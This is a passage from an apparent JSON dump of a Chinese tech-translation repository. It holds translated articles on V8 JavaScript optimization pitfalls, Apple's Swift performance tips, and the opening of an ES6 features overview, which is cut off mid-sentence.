arguments;\n}\n```\n\n**变通方法**：犯不着写这么蠢的代码。另外，在严格模式下它会报错。\n\n#### 那么如何安全地使用 `arguments` 呢？\n\n只使用：\n\n- `arguments.length`\n- `arguments[i]` **`i` 需要始终为 arguments 的合法整型索引，且不允许越界**\n- 除了 `.length` 和 `[i] `，不要直接使用 `arguments`\n- 严格来说用 `fn.apply(y, arguments)` 是没问题的，但除此之外都不行（例如 `.slice`）。 `Function#apply` 是特别的存在。\n- 请注意，给函数添加属性值（例如 `fn.$inject = ...`）和绑定函数（即 `Function#bind` 的结果）会生成隐藏类，因此此时使用 `#apply` 不安全。\n\n如果你按照上面的安全方式做，毋需担心使用 `arguments` 导致不确定 arguments 对象的分配。\n\n## 4. Switch-case\n\n在以前，一个 switch-case 语句最多只能包含 128 个 case 代码块，超过这个限制的 switch-case 语句以及包含这种语句的函数将不能被优化。\n\n```js\nfunction over128Cases(c) {\n    switch(c) {\n        case 1: break;\n        case 2: break;\n        case 3: break;\n        ...\n        case 128: break;\n        case 129: break;\n    }\n}\n```\n你需要让 case 代码块的数量保持在 128 个之内，否则应使用函数数组或者 if-else。\n\n这个限制现在已经被解除了，请参阅此 [comment](https://bugs.chromium.org/p/v8/issues/detail?id=2275#c9)。\n\n## 5. For-in\n\nFor-in 语句在某些情况下会导致整个函数无法被优化。\n\n这也解释了”For-in 速度不快“之类的说法。\n\n#### 5\\.1\\. 键不是局部变量：\n\n```js\nfunction nonLocalKey1() {\n    var obj = {}\n    for(var key in obj);\n    return function() {\n        return key;\n    };\n}\n```\n\n```js\nvar key;\nfunction nonLocalKey2() {\n    var obj = {}\n    for(key in obj);\n}\n```\n\n这两种用法db都将会导致函数不能被优化的问题。因此键不能在上级作用域定义，也不能在下级作用域被引用。它必须是一个局部变量。\n\n#### 5.2. 被遍历的对象不是一个”简单可枚举对象“\n\n##### 5.2.1. 处于”哈希表模式“（又被称为”归一化对象“或”字典模式对象“ - 这种对象将哈希表作为其数据结构）的对象不是简单可枚举对象。\n\n```js\nfunction hashTableIteration() {\n    var hashTable = {\"-\": 3};\n    for(var key in hashTable);\n}\n```\n如果你给一个对象动态增加了很多的属性（在构造函数外）、`delete` 属性或者使用不合法的标识符作为属性，这个对象将会变成哈希表模式。换句话说，当你把一个对象当做哈希表来用，它就真的会变成哈希表。请不要对这种对象使用 `for-in`。你可以用过开启 Node.JS 的 `--allow-natives-syntax`，调用 `console.log(%HasFastProperties(obj))` 来判断一个对象是否为哈希表模式。\n\n<hr>\n\n##### 5.2.2. 对象的原型链中存在可枚举属性\n\n```js\nObject.prototype.fn = function() {};\n```\n\n上面这么做会给所有对象（除了用 `Object.create(null)` 创建的对象）的原型链中添加一个可枚举属性。此时任何包含了 `for-in` 语法的函数都不会被优化（除非仅遍历 `Object.create(null)` 创建的对象）。\n\n你可以使用 `Object.defineProperty` 创建不可枚举属性（不推荐在 runtime 中调用，但是在定义一些例如原型属性之类的静态数据的时候它很高效）。\n\n<hr>\n\n##### 5.2.3. 对象中包含可枚举数组索引\n\n[ECMAScript 262 规范](http://www.ecma-international.org/ecma-262/5.1/#sec-15.4) 定义了一个属性是否有数组索引：\n\n> 数组对象会给予一些种类的属性名特殊待遇。对一个属性名 P（字符串形式），当且仅当 ToString(ToUint32(P)) 等于 P 并且 ToUint32(P) 不等于 2<sup>32</sup>−1 时，它是个 数组索引 。一个属性名是数组索引的属性也叫做元素 。\n\n一般只有数组有数组索引，但是有时候一般的对象也可能拥有数组索引： `normalObj[0] = value;`\n\n```js\nfunction iteratesOverArray() {\n    var arr = [1, 2, 3];\n    for (var index in arr) {\n\n    }\n}\n```\n\n因此使用 `for-in` 进行数组遍历不仅会比 for 循环要慢，还会导致整个包含 `for-in` 语句的函数不能被优化。\n\n<hr>\n\n如果你试图使用 `for-in` 遍历一个非简单可枚举对象，它会导致包含它的整个函数不能被优化。 \n\n**变通方法**：只对 `Object.keys` 使用 `for-in`，如果要遍历数组需使用 for 循环。如果非要遍历整个原型链上的属性，需要将 `for-in` 隔离在一个辅助函数中以降低影响：\n\n```js\nfunction inheritedKeys(obj) {\n    var ret = [];\n    for(var key in obj) {\n        ret.push(key);\n    }\n    return ret;\n}\n```\n## 6. 退出条件藏的很深，或者没有定义明确出口的无限循环\n\n有时候在你写代码的时候，你需要用到循环，但是不确定循环体内的代码之后会是什么样子。所以这时候你用了一个 `while (true) {` 或者 `for (;;) {`，在之后将终止条件放在循环体中，打断循环进行后面的代码。然而你写完这些之后就忘了这回事。在重构时，你发现这个函数很慢，出现了反优化情况 - 上面的循环很可能就是罪魁祸首。\n\n重构时将循环内的退出条件放到循环的条件部分并不是那么简单。\n\n1. 如果代码中的退出条件是循环最后的 if 语句的一部分，且代码至少要运行一轮，那么你可以将这个循环重构为 `do{} while ();`。\n2. 如果退出条件在循环的开头，请将它放在循环的条件部分中去。\n3. 如果退出条件在循环体中部，你可以尝试”滚动“代码：试着依次将一部分退出条件前的代码移到后面去，然后在之前的位置留下它的引用。当退出条件可以放在循环条件部分，或者至少变成一个浅显的逻辑判断时，这个循环就不再会出现反优化的情况了。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/OptimizationTips.rst",
    "content": "  - 原文链接: `Optimization Tips <https://github.com/apple/swift/blob/master/docs/OptimizationTips.rst>`_\n  - 原文作者 : `apple <https://github.com/apple>`_\n  - 译文出自 : `掘金翻译计划 <https://github.com/xitu/gold-miner>`_\n  - 译者 : `joyking7 <https://github.com/joyking7>`_\n  - 校对者: `nathanwhy <https://github.com/nathanwhy>`_、`walkingway <https://github.com/walkingway>`_\n  - 状态 :  完成\n\n编写高性能的 Swift 代码\n===================================\n\n这篇文章整合了许多编写高性能的 Swift 代码的提示与技巧。文章的受众是编译器和标准库的开发者。\n\n这篇文章中的一些技巧可以帮助提高你的 Swift 程序质量，并且可以减少代码中的容易出现的错误，使代码更具可读性。显式地标记出最终类和类的协议是两个显而易见的例子。然而，文章中描述的一些技巧是不符合规定的，扭曲的，仅仅解决由于编译器或者语言暂时限制的问题。文章中的建议来自多方面的权衡，例如程序运行时，二进制大小，代码可读性等等。\n\n\n启用优化\n======================\n\n每个人应该做的第一件事是启用优化。 Swift 提供了三种不同的优化级别：\n\n- ``-Onone``: 这是为正常开发准备，它执行最少的优化并保留所有调试的信息。\n- ``-O``: 是为大多数生产代码准备，编译器执行积极的优化，可以很大程度上改变提交代码的类型和数量。调试信息同样会被输出，但是有损耗。\n- ``-Ounchecked``: 这个是特定的优化模式，为了特定的库或应用程序，舍弃安全性来提高性能。编译器将移除所有溢出检查以及一些隐式类型检查。由于这样会导致未被发现的存储安全问题和整数溢出，所以一般情况下并不会使用这种模式。仅使用于你已经仔细审查了自己的代码对于整数溢出和类型转换是友好的情况下。\n\n在 Xcode UI 中，人们可以按照下面修改当前优化级别：\n\n...\n\n\n优化整个组件\n==========================\n\n默认情况下 Swift 单独编译每个文件。这使得 Xcode 可以非常快速的并行编译多个文件。然而，分开编译每个文件可以阻止某些编译器优化。 Swift 也可以把整个程序看做一个文件来编译，并把程序当成单个编译单元来优化。这个模式可以使用命令行 ``-whole-module-optimization`` 来启用。在这种模式下程序需要花费更长的时间来编译，但运行起来却更快。\n\n这个模式可以通过 Xcode 构建设置中的'Whole Module Optimization'来启用。\n\n\n降低动态调度 (Reducing Dynamic Dispatch)\n=========================\n\n在默认情况下， Swift 是一个类似 Objective-C 的动态语言。与 Objective-C 不同的是，程序员在必要的时候可移除或减少 Swift 这种动态特性，从而提高运行时性能。本节将提供几个能够被用于操作语言结构的例子。\n\n动态调度\n----------------\n\n在默认情况下，类使用动态调度的方法和属性访问。因此在下面的代码片段中， ``a.aProperty``, ``a.doSomething()`` 和\n``a.doSomethingElse()`` 都将通过动态调度来调用:\n\n::\n\n  class A {\n    var aProperty: [Int]\n    func doSomething() { ... }\n    dynamic doSomethingElse() { ... }\n  }\n\n  class B : A {\n    override var aProperty {\n      get { ... }\n      set { ... }\n    }\n\n    override func doSomething() { ... }\n  }\n\n  func usingAnA(a: A) {\n    a.doSomething()\n    a.aProperty = ...\n  }\n\n在 Swift 中，动态调度默认通过一个 vtable [1]_ （虚函数表）间接调用。如果使用 ``dynamic`` 关键字声明, Swift 的调用方式将变为：『通过 Objective-C 的消息传递机制 』。在上面这两种情况下，后者『通过 Objective-C 的消息传递』要比直接进行函数调用慢，因为他阻止了编译器的很多优化 [2]_ ，除了自身的间接调用开销。在性能优先的代码中，人们常常想限制这种动态行为。\n\n建议：当你在声明时知道不会被重写时使用 'final'\n--------------------------------------------------------------------------------\n\n``final`` 关键字是类、方法或属性声明中的限制，从而让声明不被重写。这就意味着编译器可以使用直接函数调用代替间接函数调用。例如下面的 ``C.array1`` 和 ``D.array1`` 将会被直接访问 [3]_ 。与之相反， ``D.array2`` 将通过一个虚函数表访问：\n\n::\n\n  final class C {\n    // 类'C'中没有声明可以被重写\n    var array1: [Int]\n    func doSomething() { ... }\n  }\n\n  class D {\n    final var array1 [Int] //'array1'不可以被计算属性重写\n    var array2: [Int]      //'array2'*可以*被计算属性重写\n  }\n\n  func usingC(c: C) {\n     c.array1[i] = ... //可以直接使用C.array而不用通过动态调用\n     c.doSomething() = ... //可以直接调用C.doSomething而不用通过虚函数表访问\n  }\n\n  func usingD(d: D) {\n     d.array1[i] = ... //可以直接使用D.array1而不用通过动态调用\n     d.array2[i] = ... //将通过动态调用使用D.array2\n  }\n\n建议：当声明不需要被文件外部访问到的时候，使用'private'\n-----------------------------------------------------------------------------------\n\n在声明中使用 ``private`` 关键字，会限制对其声明文件的可见性。这会让编译器能查出所有其它潜在的重写声明。因此，由于没有了这样的声明，编译器就可以自动推断出 ``final`` 关键字，并移除间接的方法调用和域访问。例如下面，假设在同一文件中 ``E`` , ``F`` 并没有任何重写声明，那么 ``e.doSomething()`` 和 ``f.myPrivateVar`` 将可以被直接访问：\n\n::\n\n  private class E {\n    func doSomething() { ... }\n  }\n\n  class F {\n    private var myPrivateVar : Int\n  }\n\n  func usingE(e: E) {\n    e.doSomething() // 文件中没有替代类来声明这个类\n                    // 编译器可以移除 doSomething() 的虚拟调用\n                    // 并直接调用类 E 的 doSomething 方法\n  }\n\n  func usingF(f: F) -> Int {\n    return f.myPrivateVar\n  }\n\n高效地使用容器类型\n=================================\n\n通用的容器 Array 和 Dictionary 是 Swift 标准库提供的一个重要特性。本节将解释如何用高性能方式使用这些类型。\n\n建议：在数组中使用值类型\n--------------------------------\n\n在 Swift 中，类型可以分为不同的两类：值类型（结构体，枚举，元组）和引用类型（类）。一个关键的差别就是 NSArray 中不能含有值类型。因此当使用值类型时，优化器就不需要去处理对 NSArray 的支持，从而可以在数组上省去大部分的消耗。\n\n此外，相比引用类型，如果值类型递归地包含引用类型，那么值类型仅需要引用计数器。使用不含引用类型的值类型，就可以避免额外的开销（数组内的元素执行 retain、release 操作所产生的通讯量）。\n\n::\n\n  // 这里不要使用类\n  struct PhonebookEntry {\n    var name : String\n    var number : [Int]\n  }\n\n  var a : [PhonebookEntry]\n\n牢记在使用大的值类型和引用类型之间要做好权衡。在某些情况下，拷贝和移动大的值类型消耗要大于移除桥接和保留/释放的消耗。\n\n建议：当 NSArray 桥接不必要时，使用 ContiguousArray 存储引用类型\n-------------------------------------------------------------------------------------\n\n如果你需要一个引用类型的数组，并且数组不需要被桥接到 NSArray ，使用 ContiguousArray 代替 Array 。\n\n::\n\n  class C { ... }\n  var a: ContiguousArray<C> = [C(...), C(...), ..., C(...)]\n\n建议：使用就地转变而不是对象的再分配\n-----------------------------------------------------------\n\n在 Swift 中，所有的标准库容器都是值类型，使用 COW(copy-on-write) [4]_ 机制执行拷贝以代替直接拷贝。在很多情况下，通过保持容器的引用而不是执行深度拷贝能够让编译器节省不必要的拷贝。如果容器的引用计数大于1并且容器发生转变，这将只通过拷贝底层容器实现。例如下面的情况，当 ``d`` 被分配给 ``c`` 时不进行拷贝，但当 ``d`` 通过结构的改变附加到 ``2``，那么 ``d`` 就会被拷贝，然后 ``2`` 就会被附加到 ``d``：\n\n::\n\n  var c: [Int] = [ ... ]\n  var d = c        //这里没有拷贝\n  d.append(2)      //这里*有*拷贝\n\n如果用户不小心，有时 COW 机制会引起额外的拷贝。例如，在函数中，试图通过对象的再分配执行修改操作。在 Swift 中，所有的参数传递时都会被拷贝，例如，参数在调用之前会保留，然后在调用结束时会释放。也就是像下面的函数：\n\n::\n\n  func append_one(a: [Int]) -> [Int] {\n    a.append(1)\n    return a\n  }\n\n  var a = [1, 2, 3]\n  a = append_one(a)\n\n尽管 ``a`` （一开始未执行 append 操作）在 ``append_one`` 之后也没有使用，但仍然可能会被拷贝 [5]_ 。这可以通过使用参数 ``inout`` 来避免：\n\n::\n\n  func append_one_in_place(inout a: [Int]) {\n    a.append(1)\n  }\n\n  var a = [1, 2, 3]\n  append_one_in_place(&a)\n\n未检查操作\n====================\n\n在执行普通的整数运算时，Swift 会检查运算结果是否溢出，从而消除 bug。然而在已知没有内存安全问题发生的高性能代码中，这样的检查是不合适的。\n\n建议：如果你知道不会发生溢出时，使用未检查整型计算\n---------------------------------------------------------------------------------------\n\n在性能优先的代码中，如果你知道代码是安全的，那么你可以忽略溢出检查。\n\n::\n\n  a : [Int]\n  b : [Int]\n  c : [Int]\n\n  //前提：对于所有的 a[i], b[i],a[i] + b[i]都不会溢出！\n  for i in 0 ... n {\n    c[i] = a[i] &+ b[i]\n  }\n\n泛型\n========\n\nSwift通过使用泛型类型，提供了一种十分强大的抽象机制。 Swift 编译器发出一个具体的代码块，从而可以对任何 ``T`` 执行 ``MySwiftFunc<T>``。生成的代码需要一个函数指针表和一个包含 ``T`` 的封装作为额外参数。通过传递不同的函数指针表及封装提供的抽象大小，从而来说明 ``MySwiftFunc<Int>`` 和 ``MySwiftFunc<String>`` 之间的不同行为。一个泛型的例子：\n\n::\n\n  class MySwiftFunc<T> { ... }\n\n  MySwiftFunc<Int> X    // 将通过 Int 类型传递代码\n  MySwiftFunc<String> Y // 此处为 String 类型\n\n当启用优化时， Swift 编译器查看每段调用的代码，并试着查明其中具体使用的类型(例如:非泛型类型)。如果泛型函数定义对优化器可见，并且具体类型已知，那么 Swift 编译器将产生一个具有特殊类型的特殊泛型函数。这一过程被称作 *特殊化*，从而可以避免与泛型关联的消耗。一些泛型的例子：\n\n::\n\n  class MyStack<T> {\n    func push(element: T) { ... }\n    func pop() -> T { ... }\n  }\n\n  func myAlgorithm(a: [T], length: Int) { ... }\n\n  //编译器可以特殊化 MyStack[Int] 的代码\n  var stackOfInts: MyStack[Int]\n  //使用整型类型的栈\n  for i in ... {\n    stack.push(...)\n    stack.pop(...)\n  }\n\n  var arrayOfInts: [Int]\n  //编译器可以为目标为 [Int] 的 myAlgorithm 函数执行一个特殊化版本\n\n  myAlgorithm(arrayOfInts, arrayOfInts.length)\n\n建议：将泛型声明放在使用它的文件中\n---------------------------------------------------------------------\n\n只有泛型声明在当前模块可见，优化器才能进行特殊化。这样只发生在使用泛型和声明泛型在同一个文件中的情况下。*注意*标准库是一个例外。在标准库中声明泛型，可以对所有模块可见且进行特殊化。\n\n建议：允许编译器进行泛型特殊化\n------------------------------------------------------------\n\n只有调用和被调用函数位于同一编译单元，编译器才能够对泛型代码进行特殊化。我们可以使用一个技巧让编译器对被调用函数进行优化，就是在被调用函数的编译单元中执行类型检查代码。进行类型检查的代码会被重新发送来调用泛型函数---但是这样做会包含类型信息。在下面的代码中，我们在函数\"play_a_game\"中插入类型检查，使代码运行速度提高了几百倍。\n\n::\n\n  //Framework.swift:\n\n  protocol Pingable { func ping() -> Self }\n  protocol Playable { func play() }\n\n  extension Int : Pingable {\n    func ping() -> Int { return self + 1 }\n  }\n\n  class Game<T : Pingable> : Playable {\n    var t : T\n\n    init (_ v : T) {t = v}\n\n    func play() {\n      for _ in 0...100_000_000 { t = t.ping() }\n    }\n  }\n\n  func play_a_game(game : Playable ) {\n    //这个检查允许优化器对泛型函数'play'进行特殊化\n\n    if let z = game as? Game<Int> {\n      z.play()\n    } else {\n      game.play()\n    }\n  }\n\n  /// -------------- >8\n\n  // Application.swift:\n\n  play_a_game(Game(10))\n\n\n Swift 中大的值类型的开销\n==============================\n\n在 Swift 中，值保留有一份独有的数据拷贝。使用值类型有很多优点，比如能保证值具有独立的状态。当我们拷贝值时(等同于分配，初始化和参数传递)，程序将会创建一份新的拷贝。对于一些大的值类型，这样的拷贝是相当耗时的，也可能会影响到程序的性能。\n\n.. 更多关于值类型的知识:\n.. https://developer.apple.com/swift/blog/?id=10\n\n考虑下面的代码，代码中使用'值'类型的节点定义了一棵树。树的节点包括其它使用协议的节点。计算机图形场景通常由不同的实体和变形体构成，而他们都能表示为值的形式，所以这个例子很有实际意义。\n\n.. 查看面向协议编程:\n.. https://developer.apple.com/videos/play/wwdc2015-408/\n\n::\n\n  protocol P {}\n  struct Node : P {\n    var left, right : P?\n  }\n\n  struct Tree {\n    var node : P?\n    init() { ... }\n  }\n\n\n当树进行拷贝(传递参数，初始化或者赋值操作)，整棵树都要被拷贝。这是一个花销很大的操作，需要调用很多 malloc/free (分配/释放)以及大量引用计数操作。\n\n然而，我们并不是真的关心值是否被拷贝，只要这些值还保留在内存中。\n\n建议：对大的值类型使用 copy-on-write 机制\n----------------------------------------------------\n\n减少拷贝大的值类型的开销，可以采用 copy-on-write 的方法。实现 copy-on-write 机制最简单的办法就是采用已经存在的 copy-on-write 的数据结构，比如数组。 Swift 的数组是值类型，因为它具有 copy-on-write 的特性，所以当数组作为参数被传递时，并不需要每次都进行拷贝。\n\n在我们'树'的例子中，通过将树中的内容封装到数组中，从而减少拷贝带来的开销。通过这一简单的改变就能极大地提示我们树的数据结构性能，数组作为参数传递的开销从 O(n) 降到了 O(1) 。\n\n::\n\n  struct Tree : P {\n    var node : [P?]\n    init() {\n      node = [ thing ]\n    }\n  }\n\n\n使用数组来实现 COW 机制有两个明显的缺点。第一个问题就是数组中类似\"append\"和\"count\"的方法，它们在值封装中没有任何作用。这些方法让引用封装变得很不方便。我们可以通过创建一个隐藏未用到的 API 的封装结构来解决这个问题，并且优化器会移除它的开销，但是这样的封装并不能解决第二个问题。第二个问题就是数组内存在保证程序安全性和与 Objective-C 进行交互的代码， Swift 会检查索引访问是否在数组边界内，以及保存值时会判断数组存储时否需要扩展存储空间。这些操作运行时都会降低程序速度。\n\n一个替代方法就是实现一个 copy-on-write 机制的数据结构来代替数组作为值封装。下面的例子就是介绍如何构建一个这样的数据结构：\n\n.. Note: 这样的解决办法，对于嵌套结构并非最优，并且一个基于 COW 数据结构的 addressor 会更加高效。然而在这种情况下，抛开标准库执行 addressor 是行不通的。\n\n.. 更多细节详见 Mike Ash 的博文:\n.. https://www.mikeash.com/pyblog/friday-qa-2015-04-17-lets-build-swiftarray.html\n\n::\n\n  final class Ref<T> {\n    var val : T\n    init(_ v : T) {val = v}\n  }\n\n  struct Box<T> {\n      var ref : Ref<T>\n      init(_ x : T) { ref = Ref(x) }\n\n      var value: T {\n          get { return ref.val }\n          set {\n            if (!isUniquelyReferencedNonObjC(&ref)) {\n              ref = Ref(newValue)\n              return\n            }\n            ref.val = newValue\n          }\n      }\n  }\n\n``Box`` 类型可以代替上个例子中的数组。\n\n不安全的代码\n===========\n\n Swift 中类总是采用引用计数。 Swift 编译器会在每次对象被访问时插入增加引用计数的代码。例如，考虑一个通过使用类实现遍历链表的例子。遍历链表是通过从一个节点到下一个节点移动引用实现： ``elem = elem.next``。每次我们移动这个引用， Swift 将会增加 ``next`` 对象的引用计数，并且减少前一个对象的引用计数。这样的引用计数方法成本很高，但只要我们使用 Swift 的类就无法避免。\n\n::\n\n  final class Node {\n   var next: Node?\n   var data: Int\n   ...\n  }\n\n\n建议：使用非托管的引用来避免引用计数带来的开销\n---------------------------------------------------------------------\n\n在性能优先代码中，你可以选择使用未托管的引用。其中 ``Unmanaged<T>`` 结构体就允许开发者关闭对于特殊引用的自动引用计数 (ARC) 功能。\n\n::\n\n    var Ref : Unmanaged<Node> = Unmanaged.passUnretained(Head)\n\n    while let Next = Ref.takeUnretainedValue().next {\n      ...\n      Ref = Unmanaged.passUnretained(Next)\n    }\n\n\n协议\n=========\n\n建议：标记只能由类实现的协议为类协议\n----------------------------------------------------------------------------\n\n Swift 可以限定协议只能通过类实现。标记协议只能由类实现的一个优点就是，编译器可以基于只有类实现协议这一事实来优化程序。例如，如果 ARC 内存管理系统知道正在处理类对象，那么就能够简单的保留(增加对象的引用计数)它。如果编译器不知道这一事实，它就不得不假设结构体也可以实现协议，那么就需要准备保留或者释放不可忽视的结构体，这样做的代价很高。\n\n如果限定只能由类实现某个协议，那么就需要标记类实现的协议为类协议，以便获得更好的运行性能。\n\n::\n\n  protocol Pingable : class { func ping() -> Int }\n\n.. https://developer.apple.com/library/ios/documentation/Swift/Conceptual/Swift_Programming_Language/Protocols.html\n\n\n\n脚注\n=========\n\n.. [1]  虚拟方法表或者'vtable'是一种被包含类型方法地址实例引用的类型特定表。动态分发执行时，首先要从对象中查找这张表，然后在表中查找方法。\n\n.. [2]  这是因为编译器不知道具体哪个函数被调用。\n\n.. [3]  例如，直接加载类域或者直接调用函数。\n\n.. [4]  解释 COW 是什么。\n\n.. [5]  在某些情况下，优化器能够通过直接插入和 ARC 优化，来移除保持的引用、这种释放确保拷贝不会发生。\n"
  },
  {
    "path": "TODO/Overview-of-JavaScript-ES6-features-a-k-a-ECMAScript-6-and-ES2015.md",
    "content": "> * 原文地址：[Overview of JavaScript ES6 features (a.k.a ECMAScript 6 and ES2015+)](http://adrianmejia.com/blog/2016/10/19/Overview-of-JavaScript-ES6-features-a-k-a-ECMAScript-6-and-ES2015/)\n* 原文作者：[Adrian Mejia](http://adrianmejia.com/#about)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[L9m](https://github.com/L9m)\n* 校对者：[Tina92](https://github.com/Tina92)，[luoyaqifei](https://github.com/luoyaqifei)，[theJian](https://github.com/theJian)\n\n# JavaScript ES6 核心功能一览（ES6 亦作 ECMAScript 6 或 ES2015+）\n\nJavaScript 在过去几年里发生了很大的变化。这里介绍 12 个你马上就能用的新功能。\n\n# JavaScript 历史\n\n新的语言规范被称作 ECMAScript 6。也称为 ES6 或 ES2015+ 。\n\n自从 1995 年 JavaScript 诞生以来，它一直在缓慢地发展。每隔几年就会增加一些新内容。1997 年，ECMAScript 成为 JavaScript 语言实现的规范。它已经有了好几个版本，比如 ES3 , ES5 , ES6 等等。\n\n![](http://adrianmejia.com/images/history-javascript-evolution-es6.png \"JavaScript 发展史\")\n\n如你所见，ES3，ES5 和 ES6 之间分别存在着 10 年和 6 年的间隔。像 ES6 那样一次进行大幅修改的模式被逐年渐进式的新模式所替代。\n\n# 浏览器支持\n\n所有现代浏览器和环境都已支持 ES6。\n\n![](http://adrianmejia.com/images/es6-javascript-support.png \"ES6 Support\")\n\n来源: [https://kangax.github.io/compat-table/es6/](https://kangax.github.io/compat-table/es6/)\n\nChrome，MS Edge，Firefox，Safari，Node 和许多其他的环境都已内置支持大多数的 JavaScript ES6 功能。所以，在本教程中你学到的每个知识，你都可以马上开始应用。\n\n让我们开始学习 ECMAScript 6 吧！\n\n# 核心 ES6 功能\n\n你可以在浏览器的控制台中测试所有下面的代码片段。\n\n![](http://adrianmejia.com/images/javascript-es6-classes-on-browser-console.png \"Testing Javascript ES6 classes on browser console\")\n\n不要笃信我的话，而是要亲自去测试每一个 ES5 和 ES6 示例。让我们开始动手吧 💪\n\n## 变量的块级作用域\n\n使用 ES6，声明变量我们可以用 `var` ，也可以用 `let` 或 `const`。\n\n`var` 有什么不足？\n\n使用 `var` 的问题是变量会漏入其他代码块中，诸如 `for` 循环或 `if` 代码块。\n\n```\n// ES5\nvar x = 'outer';\nfunction test(inner) {\n  if (inner) {\n    var x = 'inner'; // 作用于整个 function\n    return x;\n  }\n  return x; // 因为第四行的声明提升，被重新定义\n}\ntest(false); // undefined 😱\ntest(true); // inner\n```\n\n对于 `test(fasle)` ，你期望返回 `outer`，**但是**，你得到的是 `undefined`。\n\n为什么？\n\n因为尽管没有执行 `if` 代码块，第四行中的表达式 `var x` 也会被提升。\n\n> var **提升**：\n> \n> *   `var` 是函数作用域。在整个函数中甚至是声明语句之前都是可用的。\n> *   声明被提升。所以你能在声明之前使用一个变量。\n> *   初始化是不被提升的。如果你使用 `var` 声明变量，请总是将它放在顶部。\n> *   在应用了声明提升规则之后，我们就能更容易地理解发生了什么：\n>     \n>    \n            ```\n            // ES5\n            var x = 'outer';\n            function test(inner) {\n                var x; // 声明提升\n                if (inner) {\n                    x = 'inner'; // 初始化不被提升\n                    return x;\n                }\n                return x;\n            }\n            ```\n\nECMAScript 2015 找到了解决的办法：\n\n\n\n```\n// ES6\nlet x = 'outer';\nfunction test(inner) {\n  if (inner) {\n    let x = 'inner';\n    return x;\n  }\n  return x; // 从第一行获取到预期结果\n}\ntest(false); // outer\ntest(true); // inner\n```\n\n将 `var` 改为 `let`，代码将像期望的那样运行。如果 `if` 代码块没有被调用，`x` 变量也就不会在代码块外被提升。\n\n> let **提升** 和“暂存死区（temporal dead zone）”\n> \n> *   在 ES6 中，`let` 将变量提升到代码块的顶部（不是像 ES5 那样的函数顶部）。\n> *   然而，代码块中，在变量声明之前引用它会导致 `ReferenceError` 错误。\n> *   `let` 是块级作用域。你不能在它被声明之前引用它。\n> *   “暂存死区（Temporal dead zone）”是指从代码块开始直到变量被声明之间的区域。\n\n**IIFE**\n\n在解释 IIFE 之前让我们看一个例子。来看一下：\n\n```\n// ES5\n{\n  var private = 1;\n}\nconsole.log(private); // 1\n```\n\n如你所见，`private` 漏出(代码块)。你需要使用 IIFE（immediately-invoked function expression，立即执行函数表达式）来包含它：\n\n```\n// ES5\n(function(){\n  var private2 = 1;\n})();\nconsole.log(private2); // Uncaught ReferenceError\n```\n\n如果你看一看 jQuery/loadsh 或其他开源项目，你会注意到他们用 IIFE 来避免污染全局环境而且只在全局中定义了诸如 `_`，`$`和`jQuery`。 \n\n在 ES6 上则一目了然，我们可以只用代码块和 `let`，也不再需要使用 IIFE了。\n\n```\n// ES6\n{\n  let private3 = 1;\n}\nconsole.log(private3); // Uncaught ReferenceError\n```\n\n**Const**\n\n如果你想要一个变量保持不变（常量），你也可以使用 `const`。\n\n![](http://adrianmejia.com/images/javascript-es6-const-variables-example.png \"const variable example\")\n\n> 总之：用 `let`，`const` 而不是 `var`\n> \n> *   对所有引用使用 `const`；避免使用 `var`。\n> *   如果你必须重新指定引用，用 `let` 替代 `const`。\n\n## 模板字面量\n\n有了模板字面量，我们就不用做多余的嵌套拼接了。来看一下：\n\n```\n// ES5\nvar first = 'Adrian';\nvar last = 'Mejia';\nconsole.log('Your name is ' + first + ' ' + last + '.');\n```\n\n现在你可以使用反引号 (\\`) 和字符串插值 `${}`：\n\n```\n// ES6\nconst first = 'Adrian';\nconst last = 'Mejia';\nconsole.log(`Your name is ${first} ${last}.`);\n```\n\n## 多行字符串\n\n我们再也不需要添加 + `\\n` 来拼接字符串了：\n\n```\n// ES5\nvar template = '<li *ngFor=\"let todo of todos\" [ngClass]=\"{completed: todo.isDone}\" >\\n' +\n'  <div class=\"view\">\\n' +\n'    <input class=\"toggle\" type=\"checkbox\" [checked]=\"todo.isDone\">\\n' +\n'    <label></label>\\n' +\n'    <button class=\"destroy\"></button>\\n' +\n'  </div>\\n' +\n'  <input class=\"edit\" value=\"\">\\n' +\n'</li>';\nconsole.log(template);\n```\n\n在 ES6 上， 我们可以同样使用反引号来解决这个问题：\n\n```\n// ES6\nconst template = `<li *ngFor=\"let todo of todos\" [ngClass]=\"{completed: todo.isDone}\" >\n  <div class=\"view\">\n    <input class=\"toggle\" type=\"checkbox\" [checked]=\"todo.isDone\">\n    <label></label>\n    <button class=\"destroy\"></button>\n  </div>\n  <input class=\"edit\" value=\"\">\n</li>`;\nconsole.log(template);\n```\n\n两段代码的结果是完全一样的。\n\n## 解构赋值\n\nES6 的解构不仅实用而且很简洁。如下例所示：\n\n**从数组中获取元素**\n\n\n```\n// ES5\nvar array = [1, 2, 3, 4];\nvar first = array[0];\nvar third = array[2];\nconsole.log(first, third); // 1 3\n```\n\n等同于：\n\n```\nconst array = [1, 2, 3, 4];\nconst [first, ,third] = array;\nconsole.log(first, third); // 1 3\n```\n\n**交换值**\n\n```\n// ES5\nvar a = 1;\nvar b = 2;\nvar tmp = a;\na = b;\nb = tmp;\nconsole.log(a, b); // 2 1\n```\n\n等同于：\n\n```\n// ES6\nlet a = 1;\nlet b = 2;\n[a, b] = [b, a];\nconsole.log(a, b); // 2 1\n```\n\n**多个返回值的解构**\n\n```\n// ES5\nfunction margin() {\n  var left=1, right=2, top=3, bottom=4;\n  return { left: left, right: right, top: top, bottom: bottom };\n}\nvar data = margin();\nvar left = data.left;\nvar bottom = data.bottom;\nconsole.log(left, bottom); // 1 4\n```\n\n\n在第 3 行中，你也可以用一个像这样的数组返回（同时省去了一些编码）：\n\n```\nreturn [left, right, top, bottom];\n```\n\n但另一方面，调用者需要考虑返回数据的顺序。\n\n```\nvar left = data[0];\nvar bottom = data[3];\n```\n\n\n用 ES6，调用者只需选择他们需要的数据即可（第 